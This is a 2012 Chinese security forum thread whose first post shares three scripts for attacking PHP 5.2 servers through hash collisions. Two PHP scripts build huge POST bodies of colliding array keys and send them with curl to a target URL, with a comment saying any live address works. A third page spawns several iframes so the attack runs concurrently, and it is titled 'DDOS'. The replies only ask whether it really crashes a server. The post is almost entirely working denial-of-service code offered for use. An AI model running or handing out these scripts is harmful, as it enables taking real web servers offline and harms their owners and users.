# PHP 5.2 HASH冲突蓝屏服务器脚本 3个

**URL:** <https://forum.90sec.com/t/topic/3188>\
**Category:** 代码审计\
**Created:** [2012 年1 月 27 日 05:30 UTC](https://forum.90sec.com/t/topic/3188 "2012-01-27T05:30:42Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

作者： ![yjj](https://forum.90sec.com/user_avatar/forum.90sec.com/yjj/32/774_2.png) [@yjj](https://forum.90sec.com/u/yjj)\
发布日期： [2012 年1 月 27 日 05:30 UTC](https://forum.90sec.com/t/topic/3188/1 "2012-01-27T05:30:42Z")

</div>

Code1:

```php
<?php
    $size = pow(2, 16);
    $array = array();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
    for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
            #$array[$key] = 0;
            $argument.="a[".$key."]=0&";
    }
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, '0');
    curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

    $return['result'] = curl_exec($ch);
    $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    ?>

```

Code2:

```php
<?php
// 目标地址
// 只要目标地址存在，不用管它是干嘛的
$host = 'http://127.0.0.1/test.php'; 

$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
    $data .= '&array[' . $key . ']=0';
}

$ret = curl($host, ltrim($data,'&'));
var_dump($ret);

function curl($url, $post, $timeout = 30){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    $output = curl_exec($ch);
    if ($output === false) return false;
    $info = curl_getinfo($ch);
    $http_code = $info['http_code'];
    if ($http_code == 404) return false;
    curl_close($ch);
    return $output;
}
?>

```

Code3:  
\<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd](http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd)"\>  
\<html xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)"\>  
\<head\>  
\<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /\>  
\<title\>DDOS\</title\>  
\</head\>

```
&lt;body&gt;  
&lt;?php  
for($i=0; $i&lt;5; $i++){//并发数  
    echo '&lt;iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"&gt;&lt;/iframe&gt;';  
}  
?&gt;  
&lt;/body&gt;  
&lt;/html&gt;

```

---

<div class="post-metadata">

作者： ![user48](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/bc8723/32.png) [@user48](https://forum.90sec.com/u/user48)\
发布日期： [2012 年1 月 28 日 11:58 UTC](https://forum.90sec.com/t/topic/3188/2 "2012-01-28T11:58:14Z")

</div>

这样搞 这能蓝屏吗，会不会蓝屏后自动重启

---

<div class="post-metadata">

作者： ![heike8231](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/c77e96/32.png) [@heike8231](https://forum.90sec.com/u/heike8231)\
发布日期： [2012 年1 月 29 日 10:27 UTC](https://forum.90sec.com/t/topic/3188/3 "2012-01-29T10:27:49Z")

</div>

真的假的啊 !!!!!!!!!!!!
